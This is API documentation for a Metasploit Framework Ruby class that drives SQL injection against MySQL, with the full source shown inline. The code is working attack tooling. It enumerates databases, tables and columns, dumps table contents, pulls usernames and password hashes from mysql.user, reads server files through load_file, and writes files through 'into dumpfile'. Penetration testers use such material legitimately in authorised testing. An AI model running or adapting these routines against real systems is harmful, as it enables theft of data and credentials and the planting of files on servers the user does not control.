Class: Msf::Exploit::SQLi::MySQLi::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/mysqli/common.rb

Direct Known Subclasses

BooleanBasedBlind, TimeBasedBlind

Constant Summary collapse

ENCODERS =

Encoders supported by MySQL Keys are mysql function names, values are decoding procs in Ruby

{
  base64: {
    encode: 'to_base64(^DATA^)',
    decode: proc { |data| Base64.decode64(data) }
  },
  hex: {
    encode: 'hex(^DATA^)',
    decode: proc { |data| Rex::Text.hex_to_raw(data) }
  }
}.freeze
BIT_COUNTS =
{ 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common

See SQLi::Common#initialize


30
31
32
33
34
35
36
37
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 30

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    # if it's a String or a Symbol, use a predefined encoder if it exists
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  super
end

Instance Method Details

#current_databaseObject

Query the current database name

@return [String] The name of the current database

51
52
53
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 51

def current_database
  call_function('database()')
end

#current_userObject

Query the current user

@return [String] The username of the current user

59
60
61
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 59

def current_user
  call_function('user()')
end

#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object

Query the given columns of the records of the given table, that satisfy an optional condition

@param table [String]  The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results

128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 128

def dump_table_fields(table, columns, condition = '', num_limit = 0)
  return '' if columns.empty?

  one_column = columns.length == 1
  if one_column
    columns = "ifnull(#{columns.first},'#{@null_replacement}')"
    columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
  else
    columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
      col = "ifnull(#{col},'#{@null_replacement}')"
      @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
    end.join(',') + ')'
  end
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = num_limit.to_i
  limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
  retrieved_data = nil
  if @safe
    # no group_concat, leak one row at a time
    row_count = run_sql("select count(1) from #{table}#{condition}").to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \
        "#{table}#{condition} limit #{current_row},1")
      else
        run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1")
      end
    end
  else
    # if limit > 0, an alias will be necessary
    if num_limit > 0
      alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
      if @truncation_length
        retrieved_data = truncated_query('select mid(group_concat(' \
        "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\
        "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\
        "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\
        " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      end
    else
      if @truncation_length
        retrieved_data = truncated_query('select mid(group_concat(' \
        "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \
        "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \
        " from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      end
    end
  end
  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_database_encoding(database = 'database()') ⇒ Object

Query the character encoding of the given database

@param database [String] the name of a database, or a function call, or nil for the current database
@return [String] The character encoding, or nil if the database does not exist, or another error occurs

76
77
78
79
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 76

def enum_database_encoding(database='database()')
  dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
                    "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
end

#enum_database_namesObject

Query the names of all the existing databases

@return [Array] An array of Strings, the database names

67
68
69
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 67

def enum_database_names
  dump_table_fields('information_schema.schemata', %w[schema_name]).flatten
end

#enum_dbms_usersArray

Query the mysql users (their username and password), this might require root privileges.

Returns:

  • (Array)

    an array of arrays representing rows, where each row contains two strings, the username and password


100
101
102
103
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 100

def enum_dbms_users
  # might require root privileges
  dump_table_fields('mysql.user', %w[User Password])
end

#enum_table_columns(table_name) ⇒ Object

Query the column names of the given table in the given database

@param table_name [String] the name of the table of which you want to query the column names, can be: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database

110
111
112
113
114
115
116
117
118
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 110

def enum_table_columns(table_name)
  table_schema_condition = ''
  if table_name.include?('.')
    database, table_name = table_name.split('.')
    table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}"
  end
  dump_table_fields('information_schema.columns', %w[column_name],
                    "table_name='#{table_name}'#{table_schema_condition}").flatten
end

#enum_table_names(database = 'database()') ⇒ Object

Query the names of the tables in a given database

@param database [String] the name of a database, or a function call, or nil for the current database
@return [Array] An array of Strings, the table names in the given database

86
87
88
89
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 86

def enum_table_names(database='database()')
  dump_table_fields('information_schema.tables', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#enum_view_names(database = 'database()') ⇒ Object


91
92
93
94
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 91

def enum_view_names(database='database()')
  dump_table_fields('information_schema.views', %w[table_name],
                     "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#read_from_file(fpath) ⇒ Object

Attempt reading from a file on the filesystem


209
210
211
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 209

def read_from_file(fpath)
  run_sql("select load_file('#{fpath}')")
end

#test_vulnerableObject

Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them


193
194
195
196
197
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 193

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  run_sql("select '#{random_string}'") == random_string
end

#versionObject

Query the MySQL version

@return [String] The MySQL version in use

43
44
45
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 43

def version
  call_function('version()')
end

#write_to_file(fpath, data) ⇒ Object

Attempt writing data to the file at the given path


202
203
204
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 202

def write_to_file(fpath, data)
  raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
end